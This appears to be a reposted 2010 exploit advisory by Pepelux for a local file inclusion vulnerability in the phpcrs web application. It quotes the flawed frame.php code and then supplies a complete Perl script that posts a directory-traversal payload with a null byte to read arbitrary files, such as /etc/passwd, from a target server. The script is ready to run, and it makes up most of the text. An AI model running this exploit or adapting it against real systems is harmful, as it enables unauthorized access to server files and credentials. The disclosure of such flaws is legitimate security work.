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phpcrs <= 3.Za / Local File Inclusion Vulnerability
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来源：pepelux[at]enye-sec.org 作者：Pepelux 发布时间：2010-09-07
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# Author: Pepelux <pepelux[at]enye-sec.org>
# Software Link: http://sourceforge.net/projects/phpcrs/
# Version: <= 3-Za - Release Date: 2010-01-02
# Category:: webapps
# Google dork:
# Tested on: windows & linux Debian
#! /usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# phpcrs <= 3.Za / Local File Inclusion Vulnerability
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
#
# $ Program: phpcrs
# $ Version: <= 3-Za
# $ Release Date: 2010-01-02
# $ File affected: frame.php
# $ Download: http://sourceforge.net/projects/phpcrs/
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
#
# --Bug --
#
# 123. elseif( isset($_POST['btnStartImport']) ) {
# 124. require("../inc/selectSupplierImport.inc.php");
# 125. $importFunction = $_POST['importFunction'];
# 126. require("../inc/". $importFunction .".inc.php");
# 127. $importFunction();
#
#
# In previous version you can exploit LFI by GET. On this version it checks that you use POST request, but
# with a little script is possible to exploit again.
use LWP::UserAgent;
use HTTP::Request::Common;
my ($host, $file) = @ARGV ;
unless($ARGV[1]){
print "\nUsage: perl $0 <host> <file_to_edit>\n";
print "\tex: perl $0 http://localhost /etc/passwd\n\n";
exit 1;
}
$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ /\/\$/);
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);
my $request = HTTP::Request->new();
my $response;
my $url = $host."index.php";
my $req = HTTP::Request->new(POST => $host."frame.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("command=btnStartImport=xxx&importFunction=../../../../../".$file."%00");
$request = $ua->request($req);
$result = $request->content;
$result =~ s/<[^>]*>//g;
print $result . "\n";
exit;
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